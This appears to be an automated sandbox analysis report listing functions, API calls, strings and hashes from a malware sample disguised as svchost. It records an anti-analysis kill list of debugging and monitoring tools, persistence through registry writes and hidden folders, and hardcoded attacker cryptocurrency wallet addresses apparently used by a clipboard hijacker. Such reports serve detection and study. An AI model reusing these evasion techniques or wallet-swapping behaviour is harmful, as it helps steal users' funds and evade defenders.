Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: Yarn$Exceptionstd::_$FileHeaderLocinfo::_Locinfo_ctorLockitLockit::_RaiseThrow_lockstd::bad_exception::bad_exceptionstd::exception::exception
String ID: bad locale name
API String ID: 3938507140-1405518554
Opcode ID: ad999236b8d4008b2380ea14d0df8985624ecf54030ce66e7ee12e07fe8f9879
Instruction ID: 66d28ac496e6974d316b0e6c4d9cdbaea513fd0289cf752b2f016ab176f86e11
Opcode Fuzzy Hash: ad999236b8d4008b2380ea14d0df8985624ecf54030ce66e7ee12e07fe8f9879
Instruction Fuzzy Hash: 0C111255F0878641DD04E796F85116DA360FFC9B94F908035E94EC77B6EEECD0158704

Function 00007FF60BF9B728 Relevance: 18.2, APIs: 12, Instructions: 244COMMON

Download Yara Rule

APIs

_Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FF60BF9B778
_Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FF60BF9B826
char_traits.LIBCPMTD ref: 00007FF60BF9B8FD
char_traits.LIBCPMTD ref: 00007FF60BF9B9AC
char_traits.LIBCPMTD ref: 00007FF60BF9BA00
char_traits.LIBCPMTD ref: 00007FF60BF9BA6F
char_traits.LIBCPMTD ref: 00007FF60BF9BAB6
char_traits.LIBCPMTD ref: 00007FF60BF9BB33
char_traits.LIBCPMTD ref: 00007FF60BF9BB93

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: char_traits$Mtx_guardMtx_guard::~_
String ID:
API String ID: 3950283302-0
Opcode ID: 26e523eaab64f351134ad44a1117f834685a3f9a05b7fda99f5919bc6b6d8d46
Instruction ID: 1c0de2b78db43567297fa278eac4cd8acc55c133149cc1d2b787970e3f45b327
Opcode Fuzzy Hash: 26e523eaab64f351134ad44a1117f834685a3f9a05b7fda99f5919bc6b6d8d46
Instruction Fuzzy Hash: A6D19866A1DBC181DA70DB56F4953AEB361FBC8784F108136DA8ED3B6ADF6CD0448B01

Function 00007FF60BF9DC08 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 62stringCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32 ref: 00007FF60BF9DC2B
GetTempFileNameA.KERNEL32 ref: 00007FF60BF9DC53
lstrcpyA.KERNEL32 ref: 00007FF60BF9DCA3
lstrcpyA.KERNEL32 ref: 00007FF60BF9DCE1
ShellExecuteExA.SHELL32 ref: 00007FF60BF9DD53

Strings

@, xrefs: 00007FF60BF9DD0A
p, xrefs: 00007FF60BF9DCF1
open, xrefs: 00007FF60BF9DD1B
.exe, xrefs: 00007FF60BF9DC99
tmp, xrefs: 00007FF60BF9DC44

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: Templstrcpy$ExecuteFileNamePathShell
String ID: .exe$@$open$p$tmp
API String ID: 3481378980-1541851258
Opcode ID: 5c69159e7257d6518b28d152e0a484615bf9003ab4f5bea52d68b51e3ab49161
Instruction ID: 8f87452720e59456c524895d1bdfb039dc5b4a7686c05ac15279be74fb34e50a
Opcode Fuzzy Hash: 5c69159e7257d6518b28d152e0a484615bf9003ab4f5bea52d68b51e3ab49161
Instruction Fuzzy Hash: 57311036618B8595E760CF14F4847AAB7A4FB88794FA04235D69EC3AB8DF7CD544CB00

Function 00007FF60BF9DD68 Relevance: 16.6, APIs: 11, Instructions: 118stringfileCOMMON

Download Yara Rule

APIs

strtok.LIBCMT ref: 00007FF60BF9DD9A

Part of subcall function 00007FF60BFA332C: _getptd.LIBCMT ref: 00007FF60BFA334B

lstrcpyA.KERNEL32 ref: 00007FF60BF9DDBD
strtok.LIBCMT ref: 00007FF60BF9DDCC
lstrlenA.KERNEL32 ref: 00007FF60BF9DDE3
lstrcmpA.KERNEL32 ref: 00007FF60BF9DE4D
DeleteFileA.KERNEL32 ref: 00007FF60BF9DE82
CopyFileA.KERNEL32 ref: 00007FF60BF9DE98
SetFileAttributesA.KERNEL32 ref: 00007FF60BF9DEA8
lstrcmpA.KERNEL32 ref: 00007FF60BF9DEC2
strtok.LIBCMT ref: 00007FF60BF9DEF7
lstrlenA.KERNEL32 ref: 00007FF60BF9DF0E

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: Filestrtok$lstrcmplstrlen$AttributesCopyDelete_getptdlstrcpy
String ID:
API String ID: 3928754753-0
Opcode ID: 69ab1e02483d50d6a6ebcaefcdd74d7f8472b56b7eb2f8c7d3e698012a23ad34
Instruction ID: f08b0b5c45021c8542c8bfab6ca035c63918a1188737295efdf708bd685a9ec0
Opcode Fuzzy Hash: 69ab1e02483d50d6a6ebcaefcdd74d7f8472b56b7eb2f8c7d3e698012a23ad34
Instruction Fuzzy Hash: 83511026A1CA8591DB60DB15E45437EA3A4FBCCB48F608135E68EC7AA9DF3CD545CB00

Function 00007FF60BFA001C Relevance: 16.5, APIs: 1, Strings: 10, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF60BFA10A0: CreateFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60BFA0057), ref: 00007FF60BFA10E8
Part of subcall function 00007FF60BFA10A0: SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60BFA0057), ref: 00007FF60BFA1125
Part of subcall function 00007FF60BFA10A0: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60BFA0057), ref: 00007FF60BFA1130

Part of subcall function 00007FF60BFA02E0: RegOpenKeyExW.ADVAPI32 ref: 00007FF60BFA0323
Part of subcall function 00007FF60BFA02E0: RegSetValueExW.ADVAPI32 ref: 00007FF60BFA0359
Part of subcall function 00007FF60BFA02E0: RegCloseKey.ADVAPI32 ref: 00007FF60BFA0368

Part of subcall function 00007FF60BFA0C08: RegDeleteKeyW.ADVAPI32 ref: 00007FF60BFA0C20

Part of subcall function 00007FF60BFA0E78: CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF60BFA0E8B

Part of subcall function 00007FF60BFA0E78: Process32FirstW.KERNEL32 ref: 00007FF60BFA0EB5
Part of subcall function 00007FF60BFA0E78: CloseHandle.KERNEL32 ref: 00007FF60BFA0EC4

Part of subcall function 00007FF60BFA0E78: wcscmp.MSVCRT ref: 00007FF60BFA0ED9
Part of subcall function 00007FF60BFA0E78: OpenProcess.KERNEL32 ref: 00007FF60BFA0EEF
Part of subcall function 00007FF60BFA0E78: TerminateProcess.KERNEL32 ref: 00007FF60BFA0F09
Part of subcall function 00007FF60BFA0E78: CloseHandle.KERNEL32 ref: 00007FF60BFA0F14
Part of subcall function 00007FF60BFA0E78: Process32NextW.KERNEL32 ref: 00007FF60BFA0F24
Part of subcall function 00007FF60BFA0E78: CloseHandle.KERNEL32 ref: 00007FF60BFA0F33

Part of subcall function 00007FF60BFA0F48: RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,00007FF60BFA0830), ref: 00007FF60BFA0F77

Sleep.KERNEL32 ref: 00007FF60BFA0106

Strings

Services, xrefs: 00007FF60BFA00F5
procexp64.exe, xrefs: 00007FF60BFA009A
idaq.exe, xrefs: 00007FF60BFA00CA
TOTALCMD.exe, xrefs: 00007FF60BFA00A6
procexp.exe, xrefs: 00007FF60BFA008E
ProcessHacker.exe, xrefs: 00007FF60BFA0082
autoruns.exe, xrefs: 00007FF60BFA00D6
idaq64.exe, xrefs: 00007FF60BFA00BE
x64dbg.exe, xrefs: 00007FF60BFA00B2
procmon.exe, xrefs: 00007FF60BFA00E2

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: Close$Handle$Open$CreateFileProcessProcess32$AttributesDeleteFirstNextSleepSnapshotTerminateToolhelp32Valuewcscmp
String ID: ProcessHacker.exe$Services$TOTALCMD.exe$autoruns.exe$idaq.exe$idaq64.exe$procexp.exe$procexp64.exe$procmon.exe$x64dbg.exe
API String ID: 2853470409-928700279
Opcode ID: fe3a8ccc8966489c9bf42d5c7acf8396356c702022448553b11e78d999c2d4d6
Instruction ID: 5eeac992e0baeb11d915cf1cb9e7e414729e82f9973d5e1d09e7ecc0eeb781da
Opcode Fuzzy Hash: fe3a8ccc8966489c9bf42d5c7acf8396356c702022448553b11e78d999c2d4d6
Instruction Fuzzy Hash: 382180A1E5C542A0FA84EB20E9915B92760AF6C350FB0C931E51FD31F6DE7CE54ADB40

Function 00007FF60BFA0844 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF60BFA1174: GetWindowsDirectoryW.KERNEL32 ref: 00007FF60BFA11AB
Part of subcall function 00007FF60BFA1174: GetVolumeInformationW.KERNEL32 ref: 00007FF60BFA124C
Part of subcall function 00007FF60BFA1174: wsprintfW.USER32 ref: 00007FF60BFA12DB

SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60BFA07CD), ref: 00007FF60BFA088D
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60BFA07CD), ref: 00007FF60BFA08A2
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60BFA07CD), ref: 00007FF60BFA08B5
CreateDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60BFA07CD), ref: 00007FF60BFA08C5
SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60BFA07CD), ref: 00007FF60BFA08D8
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60BFA07CD), ref: 00007FF60BFA08ED
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60BFA07CD), ref: 00007FF60BFA0900
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60BFA07CD), ref: 00007FF60BFA0915

Strings

.exe, xrefs: 00007FF60BFA0906

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: lstrcat$Directory$AttributesCreateFileFolderInformationPathVolumeWindowswsprintf
String ID: .exe
API String ID: 1846285901-4119554291
Opcode ID: ca690622e8857ab72fdfef2eeac93b212aec148aeea99314529bf70ea303a71a
Instruction ID: 23dbeb656a340250a4f67c5465536810cfe3182ce979111e956f70576d35b8b9
Opcode Fuzzy Hash: ca690622e8857ab72fdfef2eeac93b212aec148aeea99314529bf70ea303a71a
Instruction Fuzzy Hash: 3B11212162CA8695DB609B25F95476AA321FBC8B81F50D432DA4FC3B39DE3CD559CB00

Function 00007FF60BFA0C44 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 42stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF60BFA0D0C: GetWindowsDirectoryA.KERNEL32 ref: 00007FF60BFA0D41
Part of subcall function 00007FF60BFA0D0C: GetVolumeInformationA.KERNEL32 ref: 00007FF60BFA0DCF
Part of subcall function 00007FF60BFA0D0C: wsprintfA.USER32 ref: 00007FF60BFA0E5E

SHGetFolderPathA.SHELL32(?,?,?,?,?,?,?,?,?,00007FF60BF9DE7D), ref: 00007FF60BFA0C85
lstrcat.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF60BF9DE7D), ref: 00007FF60BFA0C97
lstrcat.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF60BF9DE7D), ref: 00007FF60BFA0CA7
CreateDirectoryA.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF60BF9DE7D), ref: 00007FF60BFA0CB4
SetFileAttributesA.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF60BF9DE7D), ref: 00007FF60BFA0CC4
lstrcat.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF60BF9DE7D), ref: 00007FF60BFA0CD6
lstrcat.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF60BF9DE7D), ref: 00007FF60BFA0CE6
lstrcat.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF60BF9DE7D), ref: 00007FF60BFA0CF8

Strings

.exe, xrefs: 00007FF60BFA0CEC

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: lstrcat$Directory$AttributesCreateFileFolderInformationPathVolumeWindowswsprintf
String ID: .exe
API String ID: 1846285901-4119554291
Opcode ID: 1e0782898900f0c9169d678093e814d4bf1776dfe6d0791ba9bb1146b86bc58f
Instruction ID: 94da9c7abb5f950d188e5fcda1be2e2e60922a9392fa44a5f72b5a88124a6497
Opcode Fuzzy Hash: 1e0782898900f0c9169d678093e814d4bf1776dfe6d0791ba9bb1146b86bc58f
Instruction Fuzzy Hash: 8B11F421A2C946A7DB409F25F95456A7361FBC8754F609432EB4FC3639DE7CD44ACB00

Function 00007FF60BF9FE30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 32synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(?,?,?,?,?,?,00007FF60BF9FDC9), ref: 00007FF60BF9FE49
ReleaseMutex.KERNEL32 ref: 00007FF60BF9FE61
CloseHandle.KERNEL32 ref: 00007FF60BF9FE6C
GetLastError.KERNEL32 ref: 00007FF60BF9FE79
ReleaseMutex.KERNEL32 ref: 00007FF60BF9FE8B
CloseHandle.KERNEL32 ref: 00007FF60BF9FE96

Strings

rbNSpGEsyb, xrefs: 00007FF60BF9FE34

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: Mutex$CloseHandleRelease$CreateErrorLast
String ID: rbNSpGEsyb
API String ID: 299056699-189039185
Opcode ID: 46ba0cd2de08216aef1d8b73fc81ba437baef2bc7f4b68b9de387672fb1d2dc8
Instruction ID: 32d7417bbb660bbd04e2f926709f2d0e212f9f75eb26ee7b837c2fffcd7bb8bd
Opcode Fuzzy Hash: 46ba0cd2de08216aef1d8b73fc81ba437baef2bc7f4b68b9de387672fb1d2dc8
Instruction Fuzzy Hash: E101792691CA4292E730AF11E9942296360FBCCB55F608936E98FC3774CF7CE594C610

Function 00007FF60BF85B38 Relevance: 15.5, APIs: 1, Strings: 9, Instructions: 475sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF60BF8D8F4: shared_ptr.LIBCPMTD ref: 00007FF60BF8D926

Part of subcall function 00007FF60BF8D7D0: UnDecorator::getVbTableType.LIBCMTD ref: 00007FF60BF8D7FF

Part of subcall function 00007FF60BF85A5C: Concurrency::details::VirtualProcessorRoot::GetSchedulerProxy.LIBCMTD ref: 00007FF60BF85A9D

Part of subcall function 00007FF60BF83920: shared_ptr.LIBCPMTD ref: 00007FF60BF83940

Part of subcall function 00007FF60BF859B8: GlobalAlloc.KERNEL32 ref: 00007FF60BF859DF
Part of subcall function 00007FF60BF859B8: GlobalLock.KERNEL32 ref: 00007FF60BF859FE
Part of subcall function 00007FF60BF859B8: GlobalUnlock.KERNEL32 ref: 00007FF60BF85A1B

Sleep.KERNEL32 ref: 00007FF60BF866A9

Strings

TBid7Hs8NBHCPytFMgKc3VTvzFgL5KPMbb, xrefs: 00007FF60BF85E74
bitcoincash:qr7r9w340hvnxqjm2cjpj3kd0s7kfz02ks5su6hrze, xrefs: 00007FF60BF86100
XuLskqV3efHE8eaJDu8oeeLoUn6hHpUAyH, xrefs: 00007FF60BF86600
addr18kvGyaCauRTSejv3qoSvmsXBGn77NhdfFjj3s9l2ccgr2fqzs9p7cl8rr2ckq4c7emm9uaa0s7ynk32ysaxmr5xaazqj4gex0, xrefs: 00007FF60BF86246
0x6f5d22258243f738460e0e4fe1f8c0fa58ce9abe, xrefs: 00007FF60BF85D2E
LQwgkF3f1AAZZ3WuewhRobt2h15NWfivtx, xrefs: 00007FF60BF85FBA
DU8bbCYGxj3be3XDMiipMJdFFGHgwDzLB5, xrefs: 00007FF60BF864D2
rNcd1L9tTLohuJh45vUtcisKcgGJTCtnTv, xrefs: 00007FF60BF8638C
13MUDpYmziJo8zMD2743Ygch5c1ae8QiNV, xrefs: 00007FF60BF85BF1

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: Global$shared_ptr$AllocConcurrency::details::Decorator::getLockProcessorProxyRoot::SchedulerSleepTableTypeUnlockVirtual
String ID: 0x6f5d22258243f738460e0e4fe1f8c0fa58ce9abe$13MUDpYmziJo8zMD2743Ygch5c1ae8QiNV$DU8bbCYGxj3be3XDMiipMJdFFGHgwDzLB5$LQwgkF3f1AAZZ3WuewhRobt2h15NWfivtx$TBid7Hs8NBHCPytFMgKc3VTvzFgL5KPMbb$XuLskqV3efHE8eaJDu8oeeLoUn6hHpUAyH$addr18kvGyaCauRTSejv3qoSvmsXBGn77NhdfFjj3s9l2ccgr2fqzs9p7cl8rr2ckq4c7emm9uaa0s7ynk32ysaxmr5xaazqj4gex0$bitcoincash:qr7r9w340hvnxqjm2cjpj3kd0s7kfz02ks5su6hrze$rNcd1L9tTLohuJh45vUtcisKcgGJTCtnTv
API String ID: 2382078925-3773165574
Opcode ID: 21d35d6f7c0a6df29142ddf1a1bf3c38aef0ed986b01762a66452d2035f17931
Instruction ID: db8d6779445c8ecd7099c17cff18453828783a50ab4797cb507ccd995de5b912
Opcode Fuzzy Hash: 21d35d6f7c0a6df29142ddf1a1bf3c38aef0ed986b01762a66452d2035f17931
Instruction Fuzzy Hash: F0427436609BC190DA71DB16F4902EAB3A5FBC8750F509136DA8EC7B69EF6CD144CB40

Function 00007FF60BF82058 Relevance: 13.6, APIs: 9, Instructions: 65fileCOMMON

Download Yara Rule

APIs

CreateFileMappingW.KERNEL32 ref: 00007FF60BF82089
CloseHandle.KERNEL32 ref: 00007FF60BF820A1
MapViewOfFile.KERNEL32 ref: 00007FF60BF820C7
CloseHandle.KERNEL32 ref: 00007FF60BF820DF
CloseHandle.KERNEL32 ref: 00007FF60BF820EA

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: CloseHandle$File$CreateMappingView
String ID:
API String ID: 1771758222-0
Opcode ID: edae8342df2d6b86e2a31d811e725ecab3a5af5ba2ad6958d75b1e60dcb65b53
Instruction ID: 275549857d60083c63b2e35175dff2b6cd524be8e21013c6f1dbfa6692f7179e
Opcode Fuzzy Hash: edae8342df2d6b86e2a31d811e725ecab3a5af5ba2ad6958d75b1e60dcb65b53
Instruction Fuzzy Hash: 9731CA36618A8192E750DB25F95472A67A0FBC8B94F209431EB8FC3B78CF7DD4558B00

Function 00007FF60BFA0E78 Relevance: 13.5, APIs: 9, Instructions: 44processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF60BFA0E8B
Process32FirstW.KERNEL32 ref: 00007FF60BFA0EB5
CloseHandle.KERNEL32 ref: 00007FF60BFA0EC4

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
String ID:
API String ID: 1083639309-0
Opcode ID: 33d517ba9ed34bad332c22683f5269e417fb0aac9e56d6b41238f0337e4f5fc0
Instruction ID: 251a7c8a5890bbc124882ee17fd1306eb3ddcdee7fae0917dc2d32d36a7dc6ed
Opcode Fuzzy Hash: 33d517ba9ed34bad332c22683f5269e417fb0aac9e56d6b41238f0337e4f5fc0
Instruction Fuzzy Hash: 60213E61A1C94292E7649F21F45432AB360FBC8795F208631E59FC36B8DF3CD5458B00

Function 00007FF60BFA796B Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

__DestructExceptionObject.LIBCMT ref: 00007FF60BFA7996
RaiseException.KERNEL32 ref: 00007FF60BFA79BF
__DestructExceptionObject.LIBCMT ref: 00007FF60BFA7A20
_getptd.LIBCMT ref: 00007FF60BFA7973

Part of subcall function 00007FF60BFA572C: _getptd_noexit.LIBCMT ref: 00007FF60BFA5732

_getptd.LIBCMT ref: 00007FF60BFA7A25
_getptd.LIBCMT ref: 00007FF60BFA7A31

Strings

csm, xrefs: 00007FF60BFA79F3

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: Exception_getptd$DestructObject$Raise_getptd_noexit
String ID: csm
API String ID: 2851507484-1018135373
Opcode ID: 64d00ee2830e9379cd3ef173d90ae30a9ca42842e8ef135b9074179a121e00c4
Instruction ID: b5357596251e138a8cca882f89432fd67cbadb218c28d12765de66494c5258eb
Opcode Fuzzy Hash: 64d00ee2830e9379cd3ef173d90ae30a9ca42842e8ef135b9074179a121e00c4
Instruction Fuzzy Hash: 00212C7660864582E634DF21E04076EB7A0F789BA4F148231DE9E837B5CF3CE986DB50

Function 00007FF60BF8C920 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF60BF8C930

Part of subcall function 00007FF60BFB0610: _lock.LIBCMT ref: 00007FF60BFB0622

__int64.LIBCPMTD ref: 00007FF60BF8C948

Part of subcall function 00007FF60BF8F6EC: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF60BF8F707

std::locale::_Getfacet.LIBCPMTD ref: 00007FF60BF8C95F

Strings

bad cast, xrefs: 00007FF60BF8C9A2

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

